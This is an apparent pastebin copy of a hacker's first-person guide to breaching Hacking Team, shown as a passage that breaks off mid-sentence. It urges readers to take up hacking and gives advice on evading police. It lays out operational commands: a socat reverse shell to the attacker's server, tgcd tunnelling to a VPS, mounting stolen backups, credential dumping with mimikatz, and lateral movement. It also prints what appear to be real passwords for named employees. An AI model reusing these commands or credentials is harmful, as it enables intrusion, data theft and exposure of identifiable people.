Advertisement
cephurs

Phineas Fisher

Apr 17th, 2016
2,049
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1.                 _   _            _      ____             _    _
  2.                | | | | __ _  ___| | __ | __ )  __ _  ___| | _| |
  3.                | |_| |/ _` |/ __| |/ / |  _ \ / _` |/ __| |/ / |
  4.                |  _  | (_| | (__|   <  | |_) | (_| | (__|   <|_|
  5.                |_| |_|\__,_|\___|_|\_\ |____/ \__,_|\___|_|\_(_)
  6.                                                  
  7.                                  A DIY Guide
  8.  
  9.  
  10.  
  11.                                  ,-._,-._            
  12.                               _,-\  o O_/;            
  13.                              / ,  `     `|            
  14.                              | \-.,___,  /   `        
  15.                               \ `-.__/  /    ,.\      
  16.                              / `-.__.-\`   ./   \'
  17.                            / /|    ___\ ,/      `\
  18.                           ( ( |.-"`   '/\         \  `
  19.                             \ \/      ,,  |          \ _
  20.                              \|     o/o   /           \.
  21.                               \        , /             /
  22.                               ( __`;-;'__`)            \\
  23.                              `//'`   `||`              `\
  24.                              _//       ||           __   _   _ _____   __
  25.                      .-"-._,(__)     .(__).-""-.      | | | | |_   _| |
  26.                    /          \   /           \    | | |_| | | |   |
  27.                    \         /    \          /     | |  _  | | |   |
  28.                     `'-------`      `--------'`    __| |_| |_| |_|   |__
  29.                               #antisec
  30.  
  31.  
  32. ----[ 1 - Introduction ]-------------------------------------------
  33.  
  34. Note the change in language since the last issue [1]. The
  35. English-speaking worlds already has books, talks, guides, and all
  36. sorts of information about hacking. There are a lot of hackers in that
  37. world who are better than I am, but disgracefully fritter away their
  38. knowledge working as "defence" contractors, for intelligence agencies,
  39. protecting banks and corporations and defending the established order.
  40. Hacker culture in the EU originated as a counterculture, but all
  41. that's left of that origin is the aesthetic -- everything else has
  42. been assimilated. At least they get to wear a T-shirt, dye their hair
  43. blue, use hacker handles, and feel like rebels while they work for the
  44. system.
  45.  
  46. There was once a time when you had to break into an office building to
  47. exfiltrate documents [2]. You used to need a gun to rob a bank. These
  48. days you can do it all from bed with a laptop in your hands [3][4].
  49. Like the CNT once said about the Gamma Group hack: "we should move
  50. forward with these new forms of struggle" [5]. Hacking is a powerful
  51. tool. Learn it and join the fight!
  52.  
  53. [1] http://pastebin.com/raw.php?i=cRYvK4jb
  54. [2] https://en.wikipedia.org/wiki/Citizens%27_Commission_to_Investigate_the_FBI
  55. [3] http://www.aljazeera.com/news/2015/09/algerian-hacker-hero-hoodlum-15092108
  56. 3914167.html
  57. [4] https://securelist.com/files/2015/02/Carbanak_APT_eng.pdf
  58. [5] http://madrid.cnt.es/noticia/consideraciones-sobre-el-ataque-informatico-a-
  59. gamma-group
  60.  
  61. ----[ 2 - Hacking Team ]-------------------------------------------
  62.  
  63. Hacking Team was a company that helped governments to hack and spy
  64. on journalists, activists, the political opposition, and other threads
  65. to their power [1][2][3][4][5][6][7][8][9][10][11] -- as well as,
  66. every now and then, criminals and terrorists [12]. Vincenzetti, the
  67. CEO, liked to end his emails with the fascist slogan "boia chi molla".
  68. He was, more precisely, a "boia chi vende RCS". All the while, he
  69. claimed to have the technology to solve the "Tor problem" and the
  70. "darknet problem" [13]. But since I've been able to maintain my
  71. freedom, I have my doubts about how effective that technology is.
  72.  
  73.  
  74. [1] http://www.animalpolitico.com/2015/07/el-gobierno-de-puebla-uso-el-software-de-hacking-team-para-espionaje-politico/
  75. [2] http://www.prensa.com/politica/claves-entender-Hacking-Team-Panama_0_4251324994.html
  76. [3] http://www.24-horas.mx/ecuador-espio-con-hacking-team-a-opositor-carlos-figueroa/
  77. [4] https://citizenlab.org/2012/10/backdoors-are-forever-hacking-team-and-the-targeting-of-dissent/
  78. [5] https://citizenlab.org/2014/02/hacking-team-targeting-ethiopian-journalists/
  79. [6] https://citizenlab.org/2015/03/hacking-team-reloaded-us-based-ethiopian-journalists-targeted-spyware/
  80. [7] http://focusecuador.net/2015/07/08/hacking-team-rodas-paez-tiban-torres-son-espiados-en-ecuador/
  81. [8] http://www.pri.org/stories/2015-07-08/these-ethiopian-journalists-exile-hacking-team-revelations-are-personal
  82. [9] https://theintercept.com/2015/07/07/leaked-documents-confirm-hacking-team-sells-spyware-repressive-countries/
  83. [10] http://www.wired.com/2013/06/spy-tool-sold-to-governments/
  84. [11] http://www.theregister.co.uk/2015/07/13/hacking_team_vietnam_apt/
  85. [12] http://www.ilmessaggero.it/primopiano/cronaca/yara_bossetti_hacking_team-1588888.html
  86. [13] http://motherboard.vice.com/en_ca/read/hacking-team-founder-hey-fbi-we-can-help-you-crack-the-dark-web
  87.  
  88.  
  89. ----[ 3 - Be careful out there ]-----------------------------------
  90.  
  91. Sadly, our world is upside-down. You get richer by doing bad things,
  92. and get locked up for doing good things. Fortunately, thanks to the
  93. hard work of people like those in the "Tor Project" [1], you can avoid
  94. getting yourself locked up by following a few simple guidelines:
  95.  
  96. 1) Encrypt your hard drive [2]
  97.  
  98.   I assume that by the time the police come to impound your computer,
  99.   you've already made many mistakes, but an ounce of prevention is
  100.   worth a pound of cure.
  101.  
  102. 2) Use a virtual machine and route all your traffic through Tor
  103.  
  104.   This achieves two things. First, all of your connections are
  105.   anonymized through the Tor network. Second, keeping your personal
  106.   life and your anonymous life on different computers helps you avoid
  107.   mixing them up by accident.
  108.  
  109.   You can protect yourself with Whonix [3], Tails [4], Qubes TorVM
  110.   [5], or something personalized [6]. You can find a detailed
  111.   comparison here [7].
  112.  
  113. 3) (Optional) Don't connect to the Tor network directly
  114.  
  115.   Tor is not a panacea. It's possible to correlate the times at which
  116.   your connected to Tor with the times during which your hacker
  117.   handle is active. There have also been attacks using the Tor exit
  118.   node [8]. You can connect to the network using other people's wifi.
  119.   Wifislax [9] is a linux distro with many tools for procuring wifi.
  120.   Another option is to connect to a VPN or a bridge node [10] before
  121.   connecting to Tor, but this is less secure because it is possible
  122.   to correlate the hacker's activity with the internet activity
  123.   coming from your house (this was used as evidence against Jeremy
  124.   Hammond, for example [11]).
  125.  
  126.   The reality is that while Tor is not perfect, it works well enough.
  127.   When I was young and reckless, I did a lot of things without any
  128.   protection (I'm talking about hacking, here) apart from Tor, and
  129.   which the police were still incapable of investigating, and I never
  130.   had any problems.
  131.  
  132. [1] https://www.torproject.org/
  133. [2] https://info.securityinabox.org/es/chapter-4
  134. [3] https://www.whonix.org/
  135. [4] https://tails.boum.org/
  136. [5] https://www.qubes-os.org/doc/privacy/torvm/
  137. [6] https://trac.torproject.org/projects/tor/wiki/doc/TransparentProxy
  138. [7] https://www.whonix.org/wiki/Comparison_with_Others
  139. [8] https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack/
  140. [9] http://www.wifislax.com/
  141. [10] https://www.torproject.org/docs/bridges.html.en
  142. [11] http://www.documentcloud.org/documents/1342115-timeline-correlation-jeremy-hammond-and-anarchaos.html
  143.  
  144.  
  145. ----[ 3.1 - Infrastructure ]---------------------------------------
  146.  
  147. I don't hack directly from the Tor exit nodes. They're on blacklists,
  148. go very slowly, and cannot receive reverse connections. Tor serves to
  149. protect my anonymity while I connect to the infrastructure I use for
  150. hacking, which consists of:
  151.  
  152. 1) Domain names
  153.  
  154.   to give directions to command and control (C&C), and for setting up
  155.   DNS tunnels for secure exfiltration.
  156.  
  157. 2) Stable server
  158.  
  159.   to serve as C&C servers for receiving reverse shells, as a place to
  160.   launch attacks from, and a place to stash the loot.
  161.  
  162. 3) Hacked servers
  163.  
  164.   these serve as pivots behind which I hide the IP addresses of
  165.   stables servers, and for when I want a quick connection without
  166.   a pivot -- for portscanning, for example, or scanning the entire
  167.   internet, or downloading a database through sql injection, etc.
  168.  
  169. Obviously you have pay anonymously, with bitcoin, for exaple (if you
  170. use it carefully).
  171.  
  172. ----[ 3.2 - Accountability ]----------------------------------------
  173.  
  174. In the news we often see attacks attributed to groups of governmental
  175. hackers ('APTs'), because they always use the same tools, leave the
  176. same footprints, and even use the same infrastructure (domains,
  177. emails, etc.). They're negligent because they free to hack without any
  178. legal consequences.
  179.  
  180. I didn't want to make it too easy for the police to link what I did to
  181. Hacking Team, with its hacks and handles, with my day-to-day work
  182. as a blackhat hacker. So I used new servers and domains, registered
  183. with new email accounts, and payed with new bitcoin. And I only used
  184. tools which were either publically available, or which I had written
  185. specifically for this attack, and I changed my style of doing things
  186. so as to not leave my usual forensic footprint.
  187.  
  188. ----[ 4 - Gathering information ]----------------------------------
  189.  
  190. Though it might be tedious, this step is very important, since the
  191. larger the attack surface, the easier it will be to find a weakness
  192. in it, somewhere.
  193.  
  194. ----[ 4.1 - Technical Information ]--------------------------------
  195.  
  196. Some of the tools and techniques include:
  197.  
  198. 1) Google
  199.  
  200.   You can find a lot of unexpected things with a couple well-chosen
  201.   search queries. The identity of DPR, for example [1]. The bible on
  202.   how to use google for hacking is the book, "Google Hacking for
  203.    Penetration Testers" [2].
  204.  
  205. 2) Enumeration of subdomains
  206.  
  207.   A business's main domain is usually supplied by a third party, and
  208.   you're going to find a range of IP addresses belonging to
  209.   subdomains like mx.company.com, ns1.company.com, etc. And sometimes
  210.   there are things in 'hidden' subdomains that should not be exposed.
  211.   Tools useful for discovering domains are subdomains include fierce
  212.   [3], theHarvester [4], and recon-ng [5].
  213.  
  214. 3) Whois queries and inverse queries
  215.  
  216.   With an inverse query using a domain's whois information or a
  217.   business's IP range, you can find other domains and IP ranges
  218.   belonging to them. As far as I know, there's no free way of making
  219.   inverse whois queries, except for a google 'hack':
  220.  
  221.   "via della moscova 13" site:www.findip-address.com
  222.   "via della moscova 13" site:domaintools.com
  223.  
  224. 4) Portscanning and fingerprinting
  225.  
  226.   Apart from the other techniques, you can talk to the business's
  227.   employees. I include it in this section because it isn't an attack,
  228.   just a means of obtaining information. The business's IDS might
  229.   generate an alert upon detecting a portscan, but you don't have to
  230.   worry about that. The entire internet is scanning itself
  231.   constantly.
  232.  
  233.   For scanning, nmap [6] is precise, and can fingerprint most of the
  234.   services it discovers. For businesses with large IP ranges, zmap
  235.   [7] or masscan [8] are fast. WhatWeb [9] and BlindElephant [10] can
  236.   fingerprint websites.
  237.  
  238. [1] http://www.nytimes.com/2015/12/27/business/dealbook/the-unsung-tax-agent-who-put-a-face-on-the-silk-road.html
  239. [2] http://web.archive.org/web/20140610083726/http://www.soulblack.com.ar/repo/papers/hackeando_con_google.pdf
  240. [3] http://ha.ckers.org/fierce/
  241. [4] https://github.com/laramies/theHarvester
  242. [5] https://bitbucket.org/LaNMaSteR53/recon-ng
  243. [6] https://nmap.org/
  244. [7] https://zmap.io/
  245. [8] https://github.com/robertdavidgraham/masscan
  246. [9] http://www.morningstarsecurity.com/research/whatweb
  247. [10] http://blindelephant.sourceforge.net/
  248.  
  249. ----[ 4.2 - Social information ]-------------------------------------
  250.  
  251. For social engineering, it's very useful to gather information about
  252. the employees, their roles, contract information, operating system,
  253. nagivator, plugins, software, etc. Some resources include:
  254.  
  255. 1) Google
  256.  
  257.   Here's the most useful tool, again.
  258.  
  259. 2) theHarvester y recon-ng
  260.  
  261.   I've mentioned these already in the last section, but they have
  262.   much more functionality. You can find a lot of information quickly
  263.   and automatically. It's worth the trouble to read all the
  264.   documentation.
  265.  
  266. 3) LinkedIn
  267.  
  268.   You can find a lot of information about the employees here. The
  269.   businesses' recruiters will be the ones most inclined to talk.
  270.  
  271. 4) Data.com
  272.  
  273.   Previously known as jigsaw. They have contact information for many
  274.   employees.
  275.  
  276. 5) File metadata
  277.  
  278.   You can find a lot of information about employees and their system
  279.   in the metadata of files that the business has published. Some
  280.   handy tools for finding files on a business's website and
  281.   extracting metadata are metagoofil [1] and FOCA [2].
  282.  
  283. [1] https://github.com/laramies/metagoofil
  284. [2] https://www.elevenpaths.com/es/labstools/foca-2/index.html
  285.  
  286. ----[ 5 - Entering the Network ]-------------------------------------
  287.  
  288. There are various ways to make an entrance. Since the method used for
  289. Hacking Team is less common and more trouble than is ordinarily
  290. necessary, I'm going to talk a bit about more common methods, which I
  291. recommend attempting first.
  292.  
  293. ----[ 5.1 - Social engineering ]-------------------------------------
  294.  
  295. Social engineering, and specifically spear phishing, is responsible
  296. for the majority of hacks these days. For an introduction in Spanish,
  297. see [1]. For more information in English, see [2] (the third part,
  298. "Targeted Attacks"). For entertaining anecdotes about social
  299. engineering in the past, see [3]. I didn't want to try spear phishing
  300. against Hacking Team, since their business is in helping
  301. governments spear phish their opposition. There was therefore a much
  302. greater risk of Hacking Team recognizing and investigating said
  303. attempts.
  304.  
  305. [1] http://www.hacknbytes.com/2016/01/apt-pentest-con-empire.html
  306. [2] http://blog.cobaltstrike.com/2015/09/30/advanced-threat-tactics-course-and-notes/
  307. [3] http://www.netcomunity.com/lestertheteacher/doc/ingsocial1.pdf
  308.  
  309. ----[ 5.2 - Buying access ]------------------------------------------
  310.  
  311. Thanks to the hardworking Russians and their exploit kits, traffic
  312. trafickers, and bot farms, many businesses already have compromised
  313. machines in their network. Almost all of the Fortune 500, with their
  314. enormous networks, have a few bots on the inside. That said, Hacking
  315. Team is a very small business, most of whose employees are experts in
  316. information security, and so there was very little probability that
  317. they had already been compromised.
  318.  
  319. ----[ 5.3 - Technical exploitation ]---------------------------------
  320.  
  321. After the Gamma Group hack, I discovered a process for searching for
  322. vulnerabilities [1]. Hacking Team has the public IP range:
  323.  
  324. inetnum:        93.62.139.32 - 93.62.139.47
  325. descr:          HT public subnet
  326.  
  327. Hacking Team had a small exposure to the internet. For example, unlike
  328. the Gamma Group, their public-facing site required the client to have
  329. a certificate in order to connect. It contained a main website (a
  330. Joomla blog, for which Joomscan [2] revealed no serious
  331. vulnerabilities), a mail server, a couple of routers, two VPN systems,
  332. and a spam-filtering system. And so I had three options: to try to
  333. find a 0day in Joomla, a 0day in postfix, or a 0day in one of the
  334. embedded systems. A 0day in an embedded system seemed to me to be the
  335. most tenable option, and after about two weeks of reverse engineering,
  336. I discovered a remote root exploit. Since the vulnerabilities it
  337. relies on haven't yet been patched, I'm not going to give any more
  338. details on it. For more information on how to search for this type of
  339. vulnerability, see [3] and [4].
  340.  
  341. [1] http://pastebin.com/raw.php?i=cRYvK4jb
  342. [2] http://sourceforge.net/projects/joomscan/
  343. [3] http://www.devttys0.com/
  344. [4] https://docs.google.com/presentation/d/1-mtBSka1ktdh8RHxo2Ft0oNNlIp7WmDA2z9zzHpon8A
  345.  
  346. ----[ 6 - Be prepared ]----------------------------------------------
  347.  
  348. I did a lot of work and testing before using the exploit against
  349. Hacking Team. I wrote a firmware with a backdoor, and compiled various
  350. post-exploitation tools for the embedded system. The backdoor served
  351. to protect the exploit. Using the exploit just once and then returning
  352. thorugh the back door made the work of discovering and patching
  353. vulnerabilities more difficult.
  354.  
  355. The post-exploitation tools I had prepared were:
  356.  
  357. 1) busybox
  358.  
  359.   for all the common Unix utilities that the system didn't have.
  360.  
  361. 2) nmap
  362.  
  363.   for scanning and fingerprinting Hacking Team's internal network.
  364.  
  365. 3) Responder.py
  366.  
  367.   the most useful tool for attacking Windows when you have access to
  368.   the internal network but don't have a user account.
  369.  
  370. 4) Python
  371.  
  372.   for executing Responder.py.
  373.  
  374. 5) tcpdump
  375.  
  376.   for sniffing traffic.
  377.  
  378. 6) dsniff
  379.  
  380.   for snooping passwords from vulnerable protocols like ftp, and for
  381.   arpspoofing. I'd rather have used ettercap, writen by Hacking
  382.   Team's own ALoR and NaGA, but it was difficult to compile for the
  383.   system.
  384.  
  385. 7) socat
  386.  
  387.   for a handy pty shell:
  388.  
  389.   my_server: socat file: `tty`, raw, echo=0, tcp-listen:mi_port
  390.   hacked_system: socat exec:'bash -li',pty,stderr,setsid,sigint,\
  391.                  sane tcp:my_server:my_port
  392.  
  393.   And for many other things. It's a network swiss army knife. See the
  394.   examples section of its documentation.
  395.  
  396. 8) screen
  397.  
  398.   like socat's pty, not strictly necessary, but I wanted to feel at
  399.   home in Hacking Team's network.
  400.  
  401. 9) a SOCKS proxy server
  402.  
  403.   to use together with proxychains for accessing the internal network
  404.   with this or that other programme.
  405.  
  406. 10) tgcd
  407.  
  408.    for forwarding ports, like those of the SOCKS server, through the
  409.    firewall.
  410.  
  411. [1] https://www.busybox.net/
  412. [2] https://nmap.org/
  413. [3] https://github.com/SpiderLabs/Responder
  414. [4] https://github.com/bendmorris/static-python
  415. [5] http://www.tcpdump.org/
  416. [6] http://www.monkey.org/~dugsong/dsniff/
  417. [7] http://www.dest-unreach.org/socat/
  418. [8] https://www.gnu.org/software/screen/
  419. [9] http://average-coder.blogspot.com/2011/09/simple-socks5-server-in-c.html
  420. [10] http://tgcd.sourceforge.net/
  421.  
  422. The worst thing that could happen would be that my backdoor or
  423. post-exploit tools would make the system unstable, and force an
  424. employee to investigate. So I spent a week testing my exploit,
  425. backdoor, and post-exploit tools in the networks of other vulnerable
  426. businesses before entering Hacking Team network.
  427.  
  428. ----[ 7 - Watch and listen ]----------------------------------------
  429.  
  430. Now that I was inside the internal network, I wanted to take a look
  431. around and think about my next step. Switching Responder.py to
  432. analysis mode (-A, to listen without sending poisoned responses), and
  433. performed a slow scan with nmap.
  434.  
  435. ----[ 8 - NoSQL databases ]-----------------------------------------
  436.  
  437. NoSQL, or rather NoAuthentication, has been a great gift to the hacker
  438. community [1]. Just when I was worrying that all MySQL's sins of
  439. omission had finally been patched [2][3][4][5], these new databases
  440. appear, lacking authentication by design. Nmap found a few in Hacking
  441. Team's internal network:
  442.  
  443. 27017/tcp open  mongodb       MongoDB 2.6.5
  444. | mongodb-databases:
  445. |   ok = 1
  446. |   totalSizeMb = 47547
  447. |   totalSize = 49856643072
  448. ...
  449. |_    version = 2.6.5
  450.  
  451. 27017/tcp open  mongodb       MongoDB 2.6.5
  452. | mongodb-databases:
  453. |   ok = 1
  454. |   totalSizeMb = 31987
  455. |   totalSize = 33540800512
  456. |   databases
  457. ...
  458. |_    version = 2.6.5
  459.  
  460. These were databases for RCS test instances. The audio that RCS
  461. captures is held in a MongoDB with GridFS. This is where the audio
  462. folder in the torrent [6] came from. They had inadvertantly spied on
  463. themselves.
  464.  
  465. [1] https://www.shodan.io/search?query=product%3Amongodb
  466. [2] https://community.rapid7.com/community/metasploit/blog/2012/06/11/cve-2012-2122-a-tragically-comedic-security-flaw-in-mysql
  467. [3] http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0001.html
  468. [4] http://downloads.securityfocus.com/vulnerabilities/exploits/hoagie_mysql.c
  469. [5] http://archives.neohapsis.com/archives/bugtraq/2000-02/0053.html
  470. [6] https://ht.transparencytoolkit.org/audio/
  471.  
  472. ----[ 9 - Crossed wires ]-------------------------------------------
  473.  
  474. As fun as it was to listen to captures and watch webcam images of
  475. Hacking Team developing its malware, it wasn't very useful. Their
  476. insecure security backups were the vulnerability that threw the doors
  477. open. According to the documentation [1], their iSCSI systems should
  478. have been on a separate network, but nmap count a few of them in their
  479. 192.168.1.200/24 subnet:
  480. ...
  481. 3260/tcp open  iscsi?
  482. | iscsi-info:
  483. |   Target: iqn.2000-01.com.synology:ht-synology.name
  484. |     Address: 192.168.200.66:3260,0
  485. |_    Authentication: No authentication required
  486.  
  487. Nmap scan report for synology-backup.hackingteam.local (192.168.200.72)
  488. ...
  489. 3260/tcp open  iscsi?
  490. | iscsi-info:
  491. |   Target: iqn.2000-01.com.synology:synology-backup.name
  492. |     Address: 10.0.1.72:3260,0
  493. |     Address: 192.168.200.72:3260,0
  494. |_    Authentication: No authentication required
  495.  
  496. iSCSI requires a kernel module, and it would have been difficult to
  497. compile it for the embedded system. I forwarded the port so that I
  498. could mount it from a VPS:
  499.  
  500. VPS: tgcd -L -p 3260 -q 42838
  501. Sistema embebida: tgcd -C -s 192.168.200.72:3260 -c VPS_IP:42838
  502.  
  503. VPS: iscsiadm -m discovery -t sendtargets -p 127.0.0.1
  504.  
  505. iSCSI now finds the name iqn.2000-01.com.synology, but has some
  506. problems mounting it since it now believes that its address is both
  507. 192.168.200.72 and 127.0.0.1.
  508.  
  509. The to solve this is:
  510.  
  511. iptables -t nat -A OUTPUT -d 192.168.200.72 -j DNAT --to-destination 127.0.0.1
  512.  
  513. and then:
  514.  
  515. iscsiadm -m node --targetname=iqn.2000-01.com.synology:synology-backup.name -p 192.168.200.72 --login
  516.  
  517. ...and the archive system appears! We mount it:
  518.  
  519. vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
  520.  
  521. and find secure backups of various virtual machines. The Exchange
  522. server seems like the most interesting. It's too big to download, but
  523. we can mount it remotely and search for interesting archives:
  524.  
  525. $ losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
  526. $ fdisk -l /dev/loop0
  527. /dev/loop0p1            2048  1258287103   629142528    7  HPFS/NTFS/exFAT
  528.  
  529. entonces el offset es 2048 * 512 = 1048576
  530. $ losetup -o 1048576 /dev/loop1 /dev/loop0
  531. $ mount -o ro /dev/loop1 /mnt/exchange/
  532.  
  533. and now in /mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14
  534. 172311 we find the hard drive of the virtual machine, and mount it:
  535.  
  536. vdfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd /mnt/vhd-disk/
  537. mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
  538.  
  539. ...and, finally, we have gotten to the centre of the matryoshka doll
  540. and we can see all of the archives of the old Exchange server on
  541. /mnt/part1.
  542.  
  543. [1] https://ht.transparencytoolkit.org/FileServer/FileServer/Hackingteam/Infras
  544. trutturaIT/Rete/infrastruttura%20ht.pdf
  545.  
  546. ----[10 - From secure backups to domain admin ]---------------------
  547.  
  548. What interested me most in the secure backup was trying to find a
  549. password or hash that I could use to access the actual server. I used
  550. pwdump, cachedump, and lsadump [1] with the registry backups. lsdadump
  551. found a password for the besadmin service account:
  552.  
  553. _SC_BlackBerry MDS Connection Service
  554. 0000   16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................
  555. 0010   62 00 65 00 73 00 33 00 32 00 36 00 37 00 38 00    b.e.s.3.2.6.7.8.
  556. 0020   21 00 21 00 21 00 00 00 00 00 00 00 00 00 00 00    !.!.!...........
  557.  
  558. I used proxychains [2] with the socks server in the embedded system
  559. and smbclient [3] to check the password:
  560.  
  561. proxychains smbclient '//192.168.100.51/c$' -U 'hackingteam.local/besadmin%bes32678!!!'
  562.  
  563. It worked! The besadmin password was still valid, and was a local
  564. admin. I used my proxy and metasploit's psexec_psh [4] to gain a
  565. meterpreter session. I migrated to a 64-bit process, "load kiwi [5],
  566. and "creds_wdigest", and by now had a number of passwords, including
  567. the domain admin's:
  568.  
  569. HACKINGTEAM  BESAdmin       bes32678!!!
  570. HACKINGTEAM  Administrator  uu8dd8ndd12!
  571. HACKINGTEAM  c.pozzi        P4ssword      <---- look! the sysadmin!
  572. HACKINGTEAM  m.romeo        ioLK/(90
  573. HACKINGTEAM  l.guerra       4luc@=.=
  574. HACKINGTEAM  d.martinez     W4tudul3sp
  575. HACKINGTEAM  g.russo        GCBr0s0705!
  576. HACKINGTEAM  a.scarafile    Cd4432996111
  577. HACKINGTEAM  r.viscardi     Ht2015!
  578. HACKINGTEAM  a.mino         A!e$$andra
  579. HACKINGTEAM  m.bettini      Ettore&Bella0314
  580. HACKINGTEAM  m.luppi        Blackou7
  581. HACKINGTEAM  s.gallucci     1S9i8m4o!
  582. HACKINGTEAM  d.milan        set!dob66
  583. HACKINGTEAM  w.furlan       Blu3.B3rry!
  584. HACKINGTEAM  d.romualdi     Rd13136f@#
  585. HACKINGTEAM  l.invernizzi   L0r3nz0123!
  586. HACKINGTEAM  e.ciceri       2O2571&2E
  587. HACKINGTEAM  e.rabe         erab@4HT!
  588.  
  589. [1] https://github.com/Neohapsis/creddump7
  590. [2] http://proxychains.sourceforge.net/
  591. [3] https://www.samba.org/
  592. [4] http://ns2.elhacker.net/timofonica/manuales/Manual_de_Metasploit_Unleashed.pdf
  593. [5] https://github.com/gentilkiwi/mimikatz
  594.  
  595. ----[ 11 - Downloading the mail ]-----------------------------------
  596.  
  597. Now that I had the password to the domain's admin, I had access to the
  598. email, the hard of the business. Since every password I used raised
  599. the risk of being detected, I download the emails before going on to
  600. explore them. Powershell makes this easy [1]. Curiously, I found a bug
  601. in the way that dates were handled. After obtaining the emails, I
  602. waited a couple of weeks before getting the source code and all the
  603. rest, returning once in a while to download new emails. The server was
  604. Italian, with dates in the format day/month/year. I used:
  605.  
  606. -ContentFilter {(Received -ge '05/06/2015') -or (Sent -ge '05/06/2015')}
  607.  
  608. with New-MailboxExportRequest to download the new mails (in this case
  609. all the mails from June 5th onward). The problem was that it said that
  610. the date is invalid if the day is greater than 12 (imagine that this
  611. is because the month is usually put first in the EU, and the month
  612. can't be greater than 12). It seems that the engineers at Microsoft
  613. had only tested their software on their own regional configuration.
  614.  
  615. [1] http://www.stevieg.org/2010/07/using-the-exchange-2010-sp1-mailbox-export-features-for-mass-exports-to-pst/
  616.  
  617. ----[ 12 - Downloading archives ]-----------------------------------
  618.  
  619. Now that I was the domain's admin, I started downloading the shared
  620. resources using my proxy and smbclient's -Tc option. For example:
  621.  
  622. proxychains smbclient '//192.168.1.230/FAE DiskStation' \
  623.     -U 'HACKINGTEAM/Administrator%uu8dd8ndd12!' -Tc FAE_DiskStation.tar '*'
  624.  
  625. This is where the Amministrazione, FAE DiskStation, and FileServer
  626. folders in the torrent came from.
  627.  
  628. ----[ 13 - Introduction to hacking a Windows domain ]---------------
  629.  
  630. I'd like to take a break from the story of these fuckers [weones
  631. culiaos], to share a bit of knowledge about attacking Windows
  632. networks.
  633.  
  634. ----[ 13.1 - Lateral movement ]-------------------------------------
  635.  
  636. I'm going to give a quick review of the techniques used for spreading
  637. out inside a Windows network. The techniques for remote execution
  638. require a local administrator's password or hash to work. Often, the
  639. most common way of obtaining these credentials is to use mimikatz [1],
  640. and above all sekurlsa::logonpasswords and sekurlsa::msv, from the
  641. machines you already have administrative access to. The techniques for
  642. moving around "in situ" also require administrative privileges (except
  643. for runas). The most important tools for
  644. privilege escalation are PowerUp [2], and bypassuac [3].
  645.  
  646. [1] https://adsecurity.org/?page_id=1821
  647. [2] https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerUp
  648. [3] https://github.com/PowerShellEmpire/Empire/blob/master/data/module_source/privesc/Invoke-BypassUAC.ps1
  649.  
  650. Remote navigation:
  651.  
  652. 1) psexec
  653.  
  654.   The tried and tested way of navigating Windows networks. You can
  655.   use psexec [1], winexe [2], metasploit's psexec_psh [3], powershell
  656.    empire's invoke_psexec [4], or the Windows command "sc" [5]. For
  657.   the metasploit module, powershell empire, and pth-winexe [6], it's
  658.    enough to know the hash without knowing the password. This is the
  659.    most universal way (it works on any computer with port 445 open),
  660.    but it is also the least cautious. Events of type 7045 "Service
  661.   Control Manager" will appear in the registry. In my experience,
  662.    this has never tipped anyone off during a hack, but it's something
  663.   they might notice afterwards, and it might help the investigators
  664.   figure out what the hacker was doing.
  665.  
  666. 2) WMI
  667.  
  668.   The most cautious method. The WMI service is enabled on all Windows
  669.   computers, except for servers, where the firewall blocks it by
  670.   default. You can use wmiexec.py [7], pth-wmis [6] (you can find a
  671.   demo of wmiexec and pth-wmis here [8]), powershell empires's
  672.    invoke_wmi, or the Windows command, wmic [5]. Aside from wmic, the
  673.    rest of these require only the hash.
  674.  
  675. 3) PSRemoting [10]
  676.  
  677.    This is disabled by default, and I don't advise enabling new
  678.   protocols unless you have you. But if the sysadmin has already
  679.   enabled it, it's very convenient, especially if you use powershell
  680.    for everything (and yes, you should use powershell for almost
  681.    everything; this may change [11] with powershell 5 and Windows 10,
  682.    but right now powershell makes it easy to do everything in RAM,
  683.    dodge the antivirus, and leave few footprints).
  684.  
  685. 4) Programmed tasks
  686.  
  687.    You can execute programmes remotely with at and schtasks [5]. They
  688.    work in the same situations as psexec, and likewise leave some
  689.    known footprints [12].
  690.  
  691. 5) GPO
  692.  
  693.    If all of those protocols are disabled or blocked by the firewall,
  694.    once you are the administrator of the domain, you can use GPO to
  695.    give it a logon script, install an msi, execute a programmed task
  696.    [13], or as we will see with computer of Mauro Romeo (Hacking
  697.    Team's sysadmin), enable WMI and open the firewall through GPO.
  698.  
  699. [1] https://technet.microsoft.com/en-us/sysinternals/psexec.aspx
  700. [2] https://sourceforge.net/projects/winexe/
  701. [3] https://www.rapid7.com/db/modules/exploit/windows/smb/psexec_psh
  702. [4] http://www.powershellempire.com/?page_id=523
  703. [5] http://blog.cobaltstrike.com/2014/04/30/lateral-movement-with-high-latency-
  704. cc/
  705. [6] https://github.com/byt3bl33d3r/pth-toolkit
  706. [7] https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py
  707. [8] https://www.trustedsec.com/june-2015/no_psexec_needed/
  708. [9] http://www.powershellempire.com/?page_id=124
  709. [10] http://www.maquinasvirtuales.eu/ejecucion-remota-con-powershell/
  710. [11] https://adsecurity.org/?p=2277
  711. [12] https://www.secureworks.com/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems
  712. [13] https://github.com/PowerShellEmpire/Empire/blob/master/lib/modules/lateral_movement/new_gpo_immediate_task.py
  713.  
  714.  
  715. Navigation 'in situ':
  716.  
  717. 1) Impersonating tokens
  718.  
  719.   Once you have administrative access to a computer, you can use
  720.   other users' tokens to access the domain's resources. Two tools for
  721.   doing this are incognito [1] and the token::* commands in mimikatz
  722.   [2].
  723.  
  724. 2) MS14-068
  725.  
  726.   You can take advantage of a validation vulnerability in Kerberos to
  727.   generate a domain administrator ticket [3][4][5].
  728.  
  729. 3) Pass the Hash
  730.  
  731.   If you have your has but the user does not have an active session,
  732.   you can use sekurlsa:pth [2] to obtain a user ticket.
  733.  
  734. 4) Process injection
  735.  
  736.   Any RAT can be injected into another process -- the migrate command
  737.   in meterpreter and pupy [6], for example, or psinject [7] in
  738.   powershell empire. You can inject the process that has the token
